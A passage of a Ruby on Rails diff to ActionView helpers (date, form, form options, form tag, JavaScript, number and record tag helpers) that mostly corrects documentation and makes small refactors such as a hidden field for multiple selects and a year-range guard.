datetime_select("article", "written_on", :prompt => true) # generic prompts for all # # The selects are prepared for multi-parameter assignment to an Active Record object. def datetime_select(object_name, method, options = {}, html_options = {}) InstanceTag.new(object_name, method, self, options.delete(:object)).to_datetime_select_tag(options, html_options) end - # Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the + # Returns a set of html select-tags (one for year, month, day, hour, minute, and second) pre-selected with the # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add @@ -343,15 +343,15 @@ module ActionView # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+. # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of - # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not supply a Symbol, - # it will be appended onto the <tt>:order</tt> passed in. + # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. + # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden. # # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # ==== Examples - # my_date = Time.today + 6.days + # my_date = Time.now + 6.days # - # # Generates a date select that defaults to the date in my_date (six days afteri today). + # # Generates a date select that defaults to the date in my_date (six days after today). # select_date(my_date) # # # Generates a date select that defaults to today (no specified date). @@ -422,7 +422,7 @@ module ActionView end # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. - # The <tt>second</tt> can also be substituted for a second number. + # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'second' by default. # # ==== Examples @@ -440,7 +440,7 @@ module ActionView # # # Generates a select field for seconds with a custom prompt. Use <tt>:prompt => true</tt> for a # # generic prompt. - # select_minute(14, :prompt => 'Choose seconds') + # select_second(14, :prompt => 'Choose seconds') # def select_second(datetime, options = {}, html_options = {}) DateTimeSelector.new(datetime, options, html_options).select_second @@ -448,21 +448,21 @@ module ActionView # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute - # selected. The <tt>minute</tt> can also be substituted for a minute number. + # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'minute' by default. # # ==== Examples # my_time = Time.now + 6.hours # - # # Generates a select field for minutes that defaults to the minutes for the time in my_tiime. + # # Generates a select field for minutes that defaults to the minutes for the time in my_time. # select_minute(my_time) # # # Generates a select field for minutes that defaults to the number given. # select_minute(14) # # # Generates a select field for minutes that defaults to the minutes for the time in my_time - # # that is named 'stride' rather than 'second'. - # select_minute(my_time, :field_name => 'stride') + # # that is named 'moment' rather than 'minute'. + # select_minute(my_time, :field_name => 'moment') # # # Generates a select field for minutes with a custom prompt. Use <tt>:prompt => true</tt> for a # # generic prompt. @@ -473,7 +473,7 @@ module ActionView end # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. - # The <tt>hour</tt> can also be substituted for a hour number. + # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. # Override the field name using the <tt>:field_name</tt> option, 'hour' by default. # # ==== Examples @@ -485,8 +485,8 @@ module ActionView # # Generates a select field for hours that defaults to the number given. # select_hour(13) # - # # Generates a select field for hours that defaults to the minutes for the time in my_time - # # that is named 'stride' rather than 'second'. + # # Generates a select field for hours that defaults to the hour for the time in my_time + # # that is named 'stride' rather than 'hour'. # select_hour(my_time, :field_name => 'stride') # # # Generates a select field for hours with a custom prompt. Use <tt>:prompt => true</tt> for a @@ -501,11 +501,11 @@ module ActionView end # Returns a select tag with options for each of the days 1 through 31 with the current day selected. - # The <tt>date</tt> can also be substituted for a hour number. + # The <tt>date</tt> can also be substituted for a day number. # Override the field name using the <tt>:field_name</tt> option, 'day' by default. # # ==== Examples - # my_date = Time.today + 2.days + # my_date = Time.now + 2.days # # # Generates a select field for days that defaults to the day for the date in my_date. # select_day(my_time) @@ -517,7 +517,7 @@ module ActionView # # that is named 'due' rather than 'day'. # select_day(my_time, :field_name => 'due') # - # # Generates a select field for days with a custom prompt. Use <tt>:prompt => true</tt> for a + # # Generates a select field for days with a custom prompt. Use <tt>:prompt => true</tt> for a # # generic prompt. # select_day(5, :prompt => 'Choose day') # @@ -621,7 +621,6 @@ module ActionView end class DateTimeSelector #:nodoc: - extend ActiveSupport::Memoizable include ActionView::Helpers::TagHelper DEFAULT_PREFIX = 'date'.freeze @@ -766,11 +765,16 @@ module ActionView if @options[:use_hidden] || @options[:discard_year] build_hidden(:year, val) else - options = {} - options[:start] = @options[:start_year] || middle_year - 5 - options[:end] = @options[:end_year] || middle_year + 5 - options[:step] = options[:start] < options[:end] ? 1 : -1 - options[:leading_zeros] = false + options = {} + options[:start] = @options[:start_year] || middle_year - 5 + options[:end] = @options[:end_year] || middle_year + 5 + options[:step] = options[:start] < options[:end] ? 1 : -1 + options[:leading_zeros] = false + options[:max_years_allowed] = @options[:max_years_allowed] || 1000 + + if (options[:end] - options[:start]).abs > options[:max_years_allowed] + raise ArgumentError, "There're too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter" + end build_options_and_select(:year, val, options) end @@ -786,11 +790,12 @@ module ActionView # Returns translated month names, but also ensures that a custom month # name array has a leading nil element. def month_names - month_names = @options[:use_month_names] || translated_month_names - month_names.unshift(nil) if month_names.size < 13 - month_names + @month_names ||= begin + month_names = @options[:use_month_names] || translated_month_names + month_names.unshift(nil) if month_names.size < 13 + month_names + end end - memoize :month_names # Returns translated month names. # => [nil, "January", "February", "March", @@ -825,9 +830,8 @@ module ActionView end def date_order - @options[:order] || translated_date_order + @date_order ||= @options[:order] || translated_date_order end - memoize :date_order def translated_date_order I18n.translate(:'date.order', :locale => @options[:locale]) || [] diff --git a/actionpack/lib/action_view/helpers/debug_helper.rb b/actionpack/lib/action_view/helpers/debug_helper.rb index cd67851642..c0cc7d347c 100644 --- a/actionpack/lib/action_view/helpers/debug_helper.rb +++ b/actionpack/lib/action_view/helpers/debug_helper.rb @@ -30,7 +30,7 @@ module ActionView begin Marshal::dump(object) "<pre class='debug_dump'>#{h(object.to_yaml).gsub(" ", " ")}</pre>".html_safe - rescue Exception => e # errors from Marshal or YAML + rescue Exception # errors from Marshal or YAML # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback "<code class='debug_dump'>#{h(object.inspect)}</code>".html_safe end diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb index 07e2c8d341..f22c466666 100644 --- a/actionpack/lib/action_view/helpers/form_helper.rb +++ b/actionpack/lib/action_view/helpers/form_helper.rb @@ -4,6 +4,7 @@ require 'action_view/helpers/tag_helper' require 'action_view/helpers/form_tag_helper' require 'active_support/core_ext/class/attribute' require 'active_support/core_ext/hash/slice' +require 'active_support/core_ext/module/method_names' require 'active_support/core_ext/object/blank' require 'active_support/core_ext/string/output_safety' require 'active_support/core_ext/array/extract_options' @@ -48,7 +49,7 @@ module ActionView # <label for="person_last_name">Last name</label>: # <input id="person_last_name" name="person[last_name]" size="30" type="text" /><br /> # - # <input id="person_submit" name="commit" type="submit" value="Create Person" /> + # <input name="commit" type="submit" value="Create Person" /> # </form> # # As you see, the HTML reflects knowledge about the resource in several spots, @@ -79,7 +80,7 @@ module ActionView # <label for="person_last_name">Last name</label>: # <input id="person_last_name" name="person[last_name]" size="30" type="text" value="Smith" /><br /> # - # <input id="person_submit" name="commit" type="submit" value="Update Person" /> + # <input name="commit" type="submit" value="Update Person" /> # </form> # # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>. @@ -202,13 +203,13 @@ module ActionView # # is equivalent to something like: # - # <%= form_for @post, :as => :post, :url => post_path(@post), :html => { :class => "new_post", :id => "new_post" } do |f| %> + # <%= form_for @post, :as => :post, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %> # ... # <% end %> # # You can also overwrite the individual conventions, like this: # - # <%= form_for(@post, :url => super_post_path(@post)) do |f| %> + # <%= form_for(@post, :url => super_posts_path) do |f| %> # ... # <% end %> # @@ -219,9 +220,9 @@ module ActionView # <% end %> # # If you have an object that needs to be represented as a different - # parameter, like a Client that acts as a Person: + # parameter, like a Person that acts as a Client: # - # <%= form_for(@post, :as => :client) do |f| %> + # <%= form_for(@person, :as => :client) do |f| %> # ... # <% end %> # @@ -232,7 +233,7 @@ module ActionView # <% end %> # # If your resource has associations defined, for example, you want to add comments - # to the post given that the routes are set correctly: + # to the document given that the routes are set correctly: # # <%= form_for([@document, @comment]) do |f| %> # ... @@ -258,8 +259,8 @@ module ActionView # :remote => true # # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its - # behaviour. The expected default behaviour is an XMLHttpRequest in the background instead of the regular - # POST arrangement, but ultimately the behaviour is the choice of the JavaScript driver implementor. + # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular + # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor. # Even though it's using JavaScript to serialize the form elements, the form submission will work just like # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>). # @@ -290,7 +291,7 @@ module ActionView # # Example: # - # <%= form(@post) do |f| %> + # <%= form_for(@post) do |f| %> # <% f.fields_for(:comments, :include_id => false) do |cf| %> # ... # <% end %> @@ -364,7 +365,7 @@ module ActionView apply_form_for_options!(record, options) end - options[:html][:remote] = options.delete(:remote) + options[:html][:remote] = options.delete(:remote) if options.has_key?(:remote) options[:html][:method] = options.delete(:method) if options.has_key?(:method) options[:html][:authenticity_token] = options.delete(:authenticity_token) @@ -517,6 +518,18 @@ module ActionView # end # end # + # Note that the <tt>projects_attributes=</tt> writer method is in fact + # required for fields_for to correctly identify <tt>:projects</tt> as a + # collection, and the correct indices to be set in the form markup. + # + # When projects is already an association on Person you can use + # +accepts_nested_attributes_for+ to define the writer method for you: + # + # class Person < ActiveRecord::Base + # has_many :projects + # accepts_nested_attributes_for :projects + # end + # # This model can now be used with a nested fields_for. The block given to # the nested fields_for call will be repeated for each instance in the # collection: @@ -846,7 +859,28 @@ module ActionView InstanceTag.new(object_name, method, self, options.delete(:object)).to_radio_button_tag(tag_value, options) end - # Returns a text_field of type "search". + # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object + # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by + # some browsers. + # + # ==== Examples + # + # search_field(:user, :name) + # # => <input id="user_name" name="user[name]" size="30" type="search" /> + # search_field(:user, :name, :autosave => false) + # # => <input autosave="false" id="user_name" name="user[name]" size="30" type="search" /> + # search_field(:user, :name, :results => 3) + # # => <input id="user_name" name="user[name]" results="3" size="30" type="search" /> + # # Assume request.host returns "www.example.com" + # search_field(:user, :name, :autosave => true) + # # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" size="30" type="search" /> + # search_field(:user, :name, :onsearch => true) + # # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" size="30" type="search" /> + # search_field(:user, :name, :autosave => false, :onsearch => true) + # # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" size="30" type="search" /> + # search_field(:user, :name, :autosave => true, :onsearch => true) + # # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" size="30" type="search" /> + # def search_field(object_name, method, options = {}) options = options.stringify_keys @@ -865,17 +899,29 @@ module ActionView end # Returns a text_field of type "tel". + # + # telephone_field("user", "phone") + # # => <input id="user_phone" name="user[phone]" size="30" type="tel" /> + # def telephone_field(object_name, method, options = {}) InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("tel", options) end alias phone_field telephone_field # Returns a text_field of type "url". + # + # url_field("user", "homepage") + # # => <input id="user_homepage" size="30" name="user[homepage]" type="url" /> + # def url_field(object_name, method, options = {}) InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("url", options) end # Returns a text_field of type "email". + # + # email_field("user", "address") + # # => <input id="user_address" size="30" name="user[address]" type="email" /> + # def email_field(object_name, method, options = {}) InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("email", options) end @@ -1136,7 +1182,7 @@ module ActionView options["name"] ||= tag_name_with_index(@auto_index) options["id"] = options.fetch("id"){ tag_id_with_index(@auto_index) } else - options["name"] ||= tag_name + (options.has_key?('multiple') ? '[]' : '') + options["name"] ||= tag_name + (options['multiple'] ? '[]' : '') options["id"] = options.fetch("id"){ tag_id } end end @@ -1181,8 +1227,12 @@ module ActionView parent_builder.multipart = multipart if parent_builder end - def self.model_name - @model_name ||= Struct.new(:partial_path).new(name.demodulize.underscore.sub!(/_builder$/, '')) + def self._to_partial_path + @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '') + end + + def to_partial_path + self.class._to_partial_path end def to_model @@ -1217,7 +1267,7 @@ module ActionView end def fields_for(record_name, record_object = nil, fields_options = {}, &block) - fields_options, record_object = record_object, nil if record_object.is_a?(Hash) + fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options? fields_options[:builder] ||= options[:builder] fields_options[:parent_builder] = self diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb index 0aaa690129..f895cad058 100644 --- a/actionpack/lib/action_view/helpers/form_options_helper.rb +++ b/actionpack/lib/action_view/helpers/form_options_helper.rb @@ -105,7 +105,10 @@ module ActionView # Create a select tag and a series of contained option tags for the provided object and method. # The option currently held by the object will be selected, provided that the object is available. - # See options_for_select for the required format of the choices parameter. + # + # There are two possible formats for the choices parameter, corresponding to other helpers' output: + # * A flat collection: see options_for_select + # * A nested collection: see grouped_options_for_select # # Example with @post.person_id => 1: # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true }) @@ -125,9 +128,31 @@ module ActionView # This allows the user to submit a form page more than once with the expected results of creating multiple records. # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms. # - # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>:selected => value</tt> to use a different selection + # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>:selected => value</tt> to use a different selection # or <tt>:selected => nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled. + # + # ==== Gotcha + # + # The HTML specification says when +multiple+ parameter passed to select and all options got deselected + # web browsers do not send any value to server. Unfortunately this introduces a gotcha: + # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user + # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So, + # any mass-assignment idiom like + # + # @user.update_attributes(params[:user]) + # + # wouldn't update roles. + # + # To prevent this the helper generates an auxiliary hidden field before + # every multiple select. The hidden field has the same name as multiple select and blank value. + # + # This way, the client either sends only the hidden field (representing + # the deselected multiple select box), or both fields. Since the HTML specification + # says key/value pairs have to be sent in the same order they appear in the + # form, and parameters extraction gets the last occurrence of any repeated + # key in the query string, that works for ordinary forms. + # def select(object, method, choices, options = {}, html_options = {}) InstanceTag.new(object, method, self, options.delete(:object)).to_select_tag(choices, options, html_options) end @@ -255,7 +280,7 @@ module ActionView # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values - # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+ + # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+ # may also be an array of values to be selected when using a multiple select. # # Examples (call, result): @@ -298,12 +323,12 @@ module ActionView return container if String === container selected, disabled = extract_selected_and_disabled(selected).map do | r | - Array.wrap(r).map(&:to_s) + Array.wrap(r).map { |item| item.to_s } end container.map do |element| html_attributes = option_html_attributes(element) - text, value = option_text_and_value(element).map(&:to_s) + text, value = option_text_and_value(element).map { |item| item.to_s } selected_attribute = ' selected="selected"' if option_value_selected?(value, selected) disabled_attribute = ' disabled="disabled"' if disabled && option_value_selected?(value, disabled) %(<option value="#{ERB::Util.html_escape(value)}"#{selected_attribute}#{disabled_attribute}#{html_attributes}>#{ERB::Util.html_escape(text)}</option>) @@ -406,13 +431,13 @@ module ActionView # wraps them with <tt><optgroup></tt> tags. # # Parameters: - # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the + # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the # <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a # nested array of text-value pairs. See <tt>options_for_select</tt> for more info. # Ex. ["North America",[["United States","US"],["Canada","CA"]]] # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags, # which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options - # as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>. + # as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>. # * +prompt+ - set to true or a prompt string. When the select element doesn't have a value yet, this # prepends an option with a generic prompt - "Please select" - or the given prompt string. # @@ -427,7 +452,7 @@ module ActionView # # Sample usage (Hash): # grouped_options = { - # 'North America' => [['United States','US], 'Canada'], + # 'North America' => [['United States','US'], 'Canada'], # 'Europe' => ['Denmark','Germany','France'] # } # grouped_options_for_select(grouped_options) @@ -552,43 +577,38 @@ module ActionView include FormOptionsHelper def to_select_tag(choices, options, html_options) - html_options = html_options.stringify_keys - add_default_name_and_id(html_options) - value = value(object) - selected_value = options.has_key?(:selected) ? options[:selected] : value - disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil - content_tag("select", add_options(options_for_select(choices, :selected => selected_value, :disabled => disabled_value), options, selected_value), html_options) + selected_value = options.has_key?(:selected) ? options[:selected] : value(object) + + # Grouped choices look like this: + # + # [nil, []] + # { nil => [] } + # + if !choices.empty? && Array === choices.first.last + option_tags = grouped_options_for_select(choices, :selected => selected_value, :disabled => options[:disabled]) + else + option_tags = options_for_select(choices, :selected => selected_value, :disabled => options[:disabled]) + end + + select_content_tag(option_tags, options, html_options) end def to_collection_select_tag(collection, value_method, text_method, options, html_options) - html_options = html_options.stringify_keys - add_default_name_and_id(html_options) - value = value(object) - disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil - selected_value = options.has_key?(:selected) ? options[:selected] : value - content_tag( - "select", add_options(options_from_collection_for_select(collection, value_method, text_method, :selected => selected_value, :disabled => disabled_value), options, value), html_options + selected_value = options.has_key?(:selected) ? options[:selected] : value(object) + select_content_tag( + options_from_collection_for_select(collection, value_method, text_method, :selected => selected_value, :disabled => options[:disabled]), options, html_options ) end def to_grouped_collection_select_tag(collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options) - html_options = html_options.stringify_keys - add_default_name_and_id(html_options) - value = value(object) - content_tag( - "select", add_options(option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, value), options, value), html_options + select_content_tag( + option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, value(object)), options, html_options ) end def to_time_zone_select_tag(priority_zones, options, html_options) - html_options = html_options.stringify_keys - add_default_name_and_id(html_options) - value = value(object) - content_tag("select", - add_options( - time_zone_options_for_select(value || options[:default], priority_zones, options[:model] || ActiveSupport::TimeZone), - options, value - ), html_options + select_content_tag( + time_zone_options_for_select(value(object) || options[:default], priority_zones, options[:model] || ActiveSupport::TimeZone), options, html_options ) end @@ -603,6 +623,17 @@ module ActionView end option_tags.html_safe end + + def select_content_tag(option_tags, options, html_options) + html_options = html_options.stringify_keys + add_default_name_and_id(html_options) + select = content_tag("select", add_options(option_tags, options, value(object)), html_options) + if html_options["multiple"] + tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select + else + select + end + end end class FormBuilder diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb index 65a98fb27a..1424a3584d 100644 --- a/actionpack/lib/action_view/helpers/form_tag_helper.rb +++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb @@ -30,7 +30,7 @@ module ActionView # (by passing <tt>false</tt>). # * A list of parameters to feed to the URL the form will be posted to. # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the - # submit behaviour. By default this behaviour is an ajax submit. + # submit behavior. By default this behavior is an ajax submit. # # ==== Examples # form_tag('/posts') @@ -56,8 +56,8 @@ module ActionView # form_tag('http://far.away.com/form', :authenticity_token => "cf50faa3fe97702ca1ae") # # form with custom authenticity token # - def form_tag(url_for_options = {}, options = {}, *parameters_for_url, &block) - html_options = html_options_for_form(url_for_options, options, *parameters_for_url) + def form_tag(url_for_options = {}, options = {}, &block) + html_options = html_options_for_form(url_for_options, options) if block_given? form_tag_in_block(html_options, &block) else @@ -177,9 +177,12 @@ module ActionView # label_tag 'name', nil, :class => 'small_label' # # => <label for="name" class="small_label">Name</label> def label_tag(name = nil, content_or_options = nil, options = nil, &block) - options = content_or_options if block_given? && content_or_options.is_a?(Hash) - options ||= {} - options.stringify_keys! + if block_given? && content_or_options.is_a?(Hash) + options = content_or_options = content_or_options.stringify_keys + else + options ||= {} + options = options.stringify_keys + end options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for") content_tag :label, content_or_options || name.to_s.humanize, options, &block end @@ -204,7 +207,7 @@ module ActionView text_field_tag(name, value, options.stringify_keys.update("type" => "hidden")) end - # Creates a file upload field. If you are using file uploads then you will also need + # Creates a file upload field. If you are using file uploads then you will also need # to set the multipart option for the form tag: # # <%= form_tag '/upload', :multipart => true do %> @@ -304,7 +307,7 @@ module ActionView # text_area_tag 'comment', nil, :class => 'comment_input' # # => <textarea class="comment_input" id="comment" name="comment"></textarea> def text_area_tag(name, content = nil, options = {}) - options.stringify_keys! + options = options.stringify_keys if size = options.delete("size") options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split) @@ -407,7 +410,7 @@ module ActionView # data-confirm="Are you sure?" /> # def submit_tag(value = "Save changes", options = {}) - options.stringify_keys! + options = options.stringify_keys if disable_with = options.delete("disable_with") options["data-disable-with"] = disable_with @@ -417,7 +420,7 @@ module ActionView options["data-confirm"] = confirm end - tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options.stringify_keys) + tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options) end # Creates a button element that defines a <tt>submit</tt> button, @@ -458,7 +461,7 @@ module ActionView def button_tag(content_or_options = nil, options = nil, &block) options = content_or_options if block_given? && content_or_options.is_a?(Hash) options ||= {} - options.stringify_keys! + options = options.stringify_keys if disable_with = options.delete("disable_with") options["data-disable-with"] = disable_with @@ -497,13 +500,13 @@ module ActionView # image_submit_tag("agree.png", :disabled => true, :class => "agree_disagree_button") # # => <input class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" /> def image_submit_tag(source, options = {}) - options.stringify_keys! + options = options.stringify_keys if confirm = options.delete("confirm") options["data-confirm"] = confirm end - tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options.stringify_keys) + tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options) end # Creates a field set for grouping HTML form elements. @@ -579,7 +582,7 @@ module ActionView # # ==== Examples # number_field_tag 'quantity', nil, :in => 1...10 - # => <input id="quantity" name="quantity" min="1" max="9" /> + # => <input id="quantity" name="quantity" min="1" max="9" type="number" /> def number_field_tag(name, value = nil, options = {}) options = options.stringify_keys options["type"] ||= "number" @@ -597,13 +600,19 @@ module ActionView number_field_tag(name, value, options.stringify_keys.update("type" => "range")) end + # Creates the hidden UTF8 enforcer tag. Override this method in a helper + # to customize the tag. + def utf8_enforcer_tag + tag(:input, :type => "hidden", :name => "utf8", :value => "✓".html_safe) + end + private - def html_options_for_form(url_for_options, options, *parameters_for_url) + def html_options_for_form(url_for_options, options) options.stringify_keys.tap do |html_options| html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart") # The following URL is unescaped, this is just a hash of options, and it is the # responsibility of the caller to escape all the values. - html_options["action"] = url_for(url_for_options, *parameters_for_url) + html_options["action"] = url_for(url_for_options) html_options["accept-charset"] = "UTF-8" html_options["data-remote"] = true if html_options.delete("remote") html_options["authenticity_token"] = html_options.delete("authenticity_token") if html_options.has_key?("authenticity_token") @@ -611,9 +620,6 @@ module ActionView end def extra_tags_for_form(html_options) - snowman_tag = tag(:input, :type => "hidden", - :name => "utf8", :value => "✓".html_safe) - authenticity_token = html_options.delete("authenticity_token") method = html_options.delete("method").to_s @@ -629,7 +635,7 @@ module ActionView tag(:input, :type => "hidden", :name => "_method", :value => method) + token_tag(authenticity_token) end - tags = snowman_tag << method_tag + tags = utf8_enforcer_tag << method_tag content_tag(:div, tags, :style => 'margin:0;padding:0;display:inline') end @@ -650,7 +656,7 @@ module ActionView if token == false || !protect_against_forgery? '' else - token = form_authenticity_token if token.nil? + token ||= form_authenticity_token tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => token) end end diff --git a/actionpack/lib/action_view/helpers/javascript_helper.rb b/actionpack/lib/action_view/helpers/javascript_helper.rb index d7228bab67..1adcd716f8 100644 --- a/actionpack/lib/action_view/helpers/javascript_helper.rb +++ b/actionpack/lib/action_view/helpers/javascript_helper.rb @@ -1,4 +1,5 @@ require 'action_view/helpers/tag_helper' +require 'active_support/core_ext/string/encoding' module ActionView module Helpers @@ -10,15 +11,24 @@ module ActionView "\n" => '\n', "\r" => '\n', '"' => '\\"', - "'" => "\\'" } + "'" => "\\'" + } - # Escape carrier returns and single and double quotes for JavaScript segments. + if "ruby".encoding_aware? + JS_ESCAPE_MAP["\342\200\250".force_encoding('UTF-8').encode!] = '
' + else + JS_ESCAPE_MAP["\342\200\250"] = '
' + end + + # Escapes carriage returns and single and double quotes for JavaScript segments. + # # Also available through the alias j(). This is particularly helpful in JavaScript responses, like: # # $('some_element').replaceWith('<%=j render 'some/element_template' %>'); def escape_javascript(javascript) if javascript - javascript.gsub(/(\\|<\/|\r\n|[\n\r"'])/) { JS_ESCAPE_MAP[$1] } + result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] } + javascript.html_safe? ? result.html_safe : result else '' end diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb index 63d13a0f0b..7031694af4 100644 --- a/actionpack/lib/action_view/helpers/number_helper.rb +++ b/actionpack/lib/action_view/helpers/number_helper.rb @@ -1,3 +1,5 @@ +# encoding: utf-8 + require 'active_support/core_ext/big_decimal/conversions' require 'active_support/core_ext/float/rounding' require 'active_support/core_ext/object/blank' @@ -67,7 +69,7 @@ module ActionView number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3") else number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3") - number.slice!(0, 1) if number.starts_with?('-') + number.slice!(0, 1) if number.starts_with?(delimiter) && !delimiter.blank? end str = [] @@ -211,7 +213,7 @@ module ActionView defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {}) options = options.reverse_merge(defaults) - parts = number.to_s.split('.') + parts = number.to_s.to_str.split('.') parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}") parts.join(options[:separator]).html_safe @@ -342,7 +344,7 @@ module ActionView options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros) storage_units_format = I18n.translate(:'number.human.storage_units.format', :locale => options[:locale], :raise => true) - + base = options[:prefix] == :si ? 1000 : 1024 if number.to_i < base diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb index 142a25f118..b351302d01 100644 --- a/actionpack/lib/action_view/helpers/record_tag_helper.rb +++ b/actionpack/lib/action_view/helpers/record_tag_helper.rb @@ -17,6 +17,19 @@ module ActionView # # <div id="person_123" class="person foo"> Joe Bloggs </div> # + # You can also pass an array of Active Record objects, which will then + # get iterated over and yield each record as an argument for the block. + # For example: + # + # <%= div_for(@people, :class => "foo") do |person| %> + # <%= person.name %> + # <% end %> + # + # produces: + # + # <div id="person_123" class="person foo"> Joe Bloggs </div> + # <div id="person_124" class="person foo"> Jane Bloggs </div> + # def div_for(record, *args, &block) content_tag_for(:div, record, *args, &block) end @@ -42,6 +55,21 @@ module ActionView # # <tr id="foo_person_123" class="person">... # + # You can also pass an array of objects which this method will loop through + # and yield the current object to the supplied block, reducing the need for + # having to iterate through the object (using <tt>each</tt>) beforehand. + # For example (assuming @people is an array of Person objects): + # + # <%= content_tag_for(:tr, @people) do |person| %> + # <td><%= person.first_name %></td> + # <td><%= person.last_name %></td> + # <% end %> + # + # produces: + # + # <tr id="person_123" class="person">...</tr> + # <tr id="person_124" class="person">...</tr> + # # content_tag_for also accepts a hash of options, which will be converted to # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined # with the default class name for your object. For example: @@ -52,12 +80,30 @@ module ActionView # # <li id="person_123" class="person bar">... # - def content_tag_for(tag_name, record, prefix = nil, options = nil, &block) - options, prefix = prefix, nil if prefix.is_a?(Hash) - options ||= {} - options.merge!({ :class => "#{dom_class(record, prefix)} #{options[:class]}".strip, :id => dom_id(record, prefix) }) - content_tag(tag_name, options, &block) + def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block) + if single_or_multiple_records.respond_to?(:to_ary) + single_or_multiple_records.to_ary.map do |single_record| + capture { content_tag_for_single_record(tag_name, single_record, prefix, options, &block) } + end.join("\n").html_safe + else + content_tag_for_single_record(tag_name, single_or_multiple_records, prefix, options, &block) + end end + + private + + # Called by 